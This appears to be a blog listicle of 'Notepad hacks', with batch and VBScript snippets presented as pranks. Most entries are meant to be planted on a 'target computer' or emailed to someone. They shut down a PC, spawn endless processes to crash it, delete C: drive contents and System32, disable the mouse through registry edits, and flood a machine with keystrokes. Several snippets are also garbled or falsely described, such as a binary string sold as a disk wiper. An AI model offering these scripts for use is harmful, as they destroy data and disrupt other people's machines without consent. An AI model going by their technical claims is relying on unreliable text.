Skip to main content

17 Awesome Notepad Hacks (Hacking using Notepad)

Photo credit: Charstone Simon

As everyone knows Notepad is a simple app in which we can write text. It is also used for writing programs and scripts too. But in this article, you are going to see some cool Notepad tricks and hacks which won’t fail to blow your mind off.

1. Make a Diary/Log file

Can a .txt file store date and time of entered text? Yes. All you have to do is write “.LOG” in the .txt file and save it using any name. Open that file and you will see the current date and time has appeared, and you can write anything under it. Every time you save and reopen the file you will see current time and date has appeared again. You can use it as a personal diary or a record/log book. See the screenshot below.

2. Make the CD-Drive open continuously

We have seen how notepad adds convenience by the first trick. Now its time for some inconvenience (to others). In this hack, you can make someone’s CD-Drive come out every now and then. You can use this trick as a prank, pissing off your friends. Copy the code given below in Notepad and save it as “cd.vbs” into the target computer and that’s it.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3. Turn off any PC with Notepad Virus.

You heard it right, A Virus! This trick is quite popular among pranksters which can shut down any PC. Copy and paste the below code in Notepad and save it by giving it a “.bat” extension. For example. “openthis.bat”. Make your friend open this file in his/her computer and boom! PC turned off! There will be a message displayed on the screen which you can customize as given below.

@echo off
Shutdown.exe -s -t 10
cls
msg *write here any slang you can come up with.

4. Make a Keyboard’s lights flash like a disco

Most keyboards have 3 lights which are CAPS lock light, NUM lock light and SCROLL lock light. This trick will make these lights flash like a disco. Copy and paste the below code into Notepad and save it as “disco.vbs”.

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

5. Check your antivirus software for its virus detect-ability

Many antivirus companies claim that they provide the most effective antivirus software which can dig deep into your computer and remove nasty viruses. Some may be effective while some may not. But, you can find out whether their claims are true or not with this simple trick. Copy and paste the below code into your notepad and save it as “virus.exe”. Don’t worry, this is not a virus, but it looks like one! Then, perform a virus scan from your antivirus software. If this file is detected, then your antivirus is a good one. Otherwise, you need to start looking for other options.

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

6. Slow down typing speed of a computer

We’re back to pranks, and this is a quite interesting one. This trick will slow down the typing speed of a computer drastically! Eager to try? Copy and paste the below code in Notepad and save it as “anyname.vbs” in the target computer.

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

7. Protect a file with password

This hack can protect a file from accessing with the help of a password. Yes, no third-party software, only a few lines of code. Sounds cool right? Copy and paste below code into Notepad and save the file with “.bat” extension.

title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock the folder
set/p “pass=>”
if NOT %pass%== techmaniya.com goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End

8. Making a message constantly pop up

Looks like Notepad has lots of pranks hidden underneath it, and here’s another one. By using this prank you can make a message constantly pop up, definitely adding annoyance to the user. Copy and paste the code below into notepad and save it as “message.bat” into the target computer. When opened it will keep displaying messages constantly.

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

9. Crashing a PC

You can crash a PC by making the computer open multiple notepads just with the help of some lines of code. Copy and paste the below code into notepad and save it as “unlimitednotepad.bat”. You can send this file as an e-mail attachment to anybody you want to piss off.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

10. Delete the contents of C: Drive

Want to take revenge in a hacker style? This trick is for you. Copy and paste this below code and save as anything but with a “.bat” extension. When this file is opened in any PC , it wipes off entire C: Drive.

@Echo off
Del C:\ *.* |y

11. Clear entire hard disk

If Notepad can wipe off entire C: Drive, could it be possible it can wipe off an entire hard disk? Answer is Yes. Below is the code for doing that. Make sure to give the file a “.exe” extension after copying the below code into Notepad. As soon as the file is opened, entire hard-disk will be wiped off.

01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000

12. Turning text into audio

This trick can make Notepad your text-to-speech converter. The text entered in the code will be converted into speech. Copy and paste the below code into Notepad and save it as “textaudio.vbs”. When you open that file, the text you wrote will be converted into speech which you can hear.

Dim message, sapi message=InputBox(“Enter your text for conversion–Technologers”,”Hover pc Hacks Text-To-Audio Converter”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

13. False error message

Another prank to piss your friends, this trick can make an error message pop-up on the screen out of nowhere. You can add any text into it and its done. Save the file as “error.vbs” after you’ve done copying the code.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)

14. World Trade Centre attack trick.

Everyone knows the incident of 9/11 happened in USA. The flight number Q33NY was of the aeroplane that crashed into those twin towers. In this trick you have to type “Q33NY” in Notepad, set font to wingdings and font size to 72. You will see some amazing graphics.

15. Pressing backspace automatically

In this trick, you can hack the backspace of any computer which makes it unable to type anything. For this, copy and paste the below code

MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

16. Delete Windows/System32

Here is another prank for your beloved friends. By using this trick you can delete any computer’s System32 folder automatically. Copy and paste the below code in Notepad and save it as “erase.bat” and that’s it.

EL C:\WINDOWS\SYSTEM32\*.*/Q

17. Disable mouse controls

Looks like Notepad has got plenty of pranks upon its sleeve. Copy and paste the below code and give any name to it using a “.bat” instruction.

rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

BONUS TRICK- Hit enter continuously

This trick will keep sending uncountable enter commands to the computer. Copy and paste the below code and save it using “.vbs” extension.

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

Comments

Popular posts from this blog

Websites To Get Free Mechanical Projects for Free

Websites to Get Projects for Mechanical Engineers Mechanical engineering is a versatile and dynamic field that requires constant innovation and practical experience. One of the best ways to gain hands-on experience and deepen your understanding of mechanical engineering concepts is by working on projects. Whether you are a student, a recent graduate, or a professional looking to expand your skills, finding the right projects can be a game-changer. Here are some top websites where you can find exciting and challenging projects for mechanical engineers. NOTE: A youtube video is uploaded on the same topic, Please kindly have a look into the same 👉 here 👈 1. NevonProjects NevonProjects offers a wide range of project ideas and kits for mechanical engineering students. This platform is known for its comprehensive list of projects that cover various domains withi...

5 Websites to Get Free Projects with Project Reports - Part 1

Well, I know most of you are final-year students searching for those final-year projects, and the good news is you are at the right place on earth where you will get the best information about your problem. When it comes to finding free projects complete with project reports, several online resources stand out. Here are five websites that provide a wealth of projects across various domains, complete with detailed documentation. 1. SourceCodester    - Overview : SourceCodester offers a vast array of projects in different programming languages including PHP, VB.NET, C#, Python, and Java.    - Features : Each project comes with complete source code, documentation, and sometimes even video tutorials. This makes it an excellent resource for students and professionals looking to learn and develop their skills.    - Project Reports : Many projects include detailed reports and diagrams such as UML diagrams, database schemas, and SRS (Software Requirement Specificat...

How to Find the Maximum RAM Capacity of Your Computer

When you purchase a new desktop or laptop, it works out to be much more affordable to go for a cheaper model first and later upgrade the RAM to its maximum performance. The question is, how much RAM can your computer take? Is it already at its maximum, or is there still room for an upgrade? Follow this easy-to-understand guide to find out how much RAM your computer currently has and the maximum RAM capacity it supports. Find Out How Much RAM Your Computer Has It is quite easy to find out the amount of RAM in your computer. In Windows 10, you can learn your installed RAM by using the keyboard shortcut  Win  +  PAUSE . This will also provide your processor name and operating system type (32- or 64-bit). After this, use  Ctrl  +  Shift  +  ESC  to open the taskbar and size up your RAM limits. It gives the number of slots you have, the clock speed per slot, the kind of RAM you have (DDR3 or DDR4), and how much is available. Mac users can select “...